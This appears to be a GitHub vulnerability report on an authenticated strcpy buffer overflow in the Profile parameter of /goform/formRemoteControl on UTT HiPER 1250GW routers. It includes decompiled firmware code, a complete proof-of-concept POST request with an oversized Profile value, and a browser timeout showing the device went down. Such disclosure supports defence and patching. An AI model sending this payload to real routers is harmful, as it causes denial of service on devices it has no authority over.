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# Authenticated Buffer Overflow in the Profile Parameter of /goform/formRemoteControl in UTT HiPER 1250GW #1

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## Information

**Vendor of the products:** UTT**Vendor's website:** [UTT艾泰-专业路由器、交换机、防火墙品牌](#)**Affected products:** HiPER 1250GW**Affected firmware version:** <=v3.2.7-210907-180535**Firmware download address:** UTT艾泰-专业路由器、交换机、防火墙品牌

## Overview

UTT HiPER 1250GW router has a serious overflow vulnerability. An attacker can control the parameter Profile through the route/goform/formRemoteControl, which will cause a buffer overflow. Specifically, it can be achieved through "strcpy((char\*)(InstPointByIndex + 232), src);" to cause a denial of service attack.

## Vulnerability details

The API for invoking the function

```

4 websDefineAction_("formConfigNatMapEnable", (char *)sub_41C5EC);
5 websDefineAction_("formNatStaticMapDelAll", (char *)sub_41C43C);
6 websDefineAction_("formNatStaticMapDel", (char *)sub_41C2A0);
7 websDefineJst_("aspOutNatStaticMap", (char *)sub_41D0FC);
8 websDefineAction_("formRemoteControl", (char *)sub_41D748);
9 return websDefineJst_("aspOutRemoteControlInfo", (char *)sub_41D4B8);
10 }

```

You can see that the Profile has been valued and the sub\_41D5B4 function has been called

```

1 int __fastcall sub_41D748(char *a1)
2 {
3     const char *Var; // $s2
4     char *src; // $v0
5     int v4; // $s1
6
7     if ( !a1 )
8         assertError__((int)"wusstaticnat.c", 116, "%s", "wp");
9     Var = (const char *)websGetVar_(a1, "HttpEnable");
10    v4 = websGetVar_(a1, "OutPort");
11    src = (char *)websGetVar_(a1, "Profile");
12    sub_41D5B4(Var, v4, src);
13    return sub_414D98((int)a1);
14 }

```

The value of src comes from Profile, which is controllable by the user, and here the overflow is caused by strcpy assignment

```

28 *(_DWORD *) (InstPointByIndex + 36) = 1;
29 *(_DWORD *) (InstPointByIndex + 228) = v8;
30 v9 = (_DWORD *) ProfGetInstPointByIndex(4, 0);
31 if ( v9 )
32 {
33     n2 = v9[15];
34     if ( n2 == 1 )
35     {
36         *(_DWORD *) (InstPointByIndex + 132) = v9[13];
37     }
38     else if ( n2 == 2 )
39     {
40         *(_DWORD *) (InstPointByIndex + 132) = v9[14];
41     }
42 }
43 *(_DWORD *) (InstPointByIndex + 180) = 1;
44 strcpy((char *) (InstPointByIndex + 232), src);
45 ProfUpdate(v13);
46 ProfFreeAllocList(v13);
47 return nvramWriteCommit(v11);
48 }

```

0001D5D4 sub\_41D5B4:13 (41D5D4)

```

POST /goform/formRemoteControl HTTP/1.1
Host: 192.168.1.1
Content-Length: 1822
Cache-Control: max-age=0
Authorization: Digest username="admin", realm="UTT",
nonce="80758026511f147977ce8ea9363e038c", uri="/goform/formArpBindGlobalConfig",
algorithm=MD5, response="3c90b3b4d198905f88cf1301ff8ad6b5",
opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=000001a1,
cnonce="71e33390dc75c484"
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

```



```

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/137.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=
exchange;v=b3;q=0.7
Referer: http://192.168.1.1/IPMac.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: language=zchn; utt_bw_rdevType=; td_cookie=2522114788
Connection: close

Profile=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

```



### 无法访问此网站

192.168.1.1 的响应时间过长。

请试试以下办法：

- 检查网络连接
- 检查代理服务器和防火墙
- 运行 Windows 网络诊断

ERR\_CONNECTION\_TIMED\_OUT

重新加载

详情

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## Metadata

### Assignees

No one assigned

### Labels

No labels

### Projects

No projects

**Milestone**

No milestone



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**Relationships**

None yet

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**Development**

 Code with agent mode 

No branches or pull requests

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**Participants**

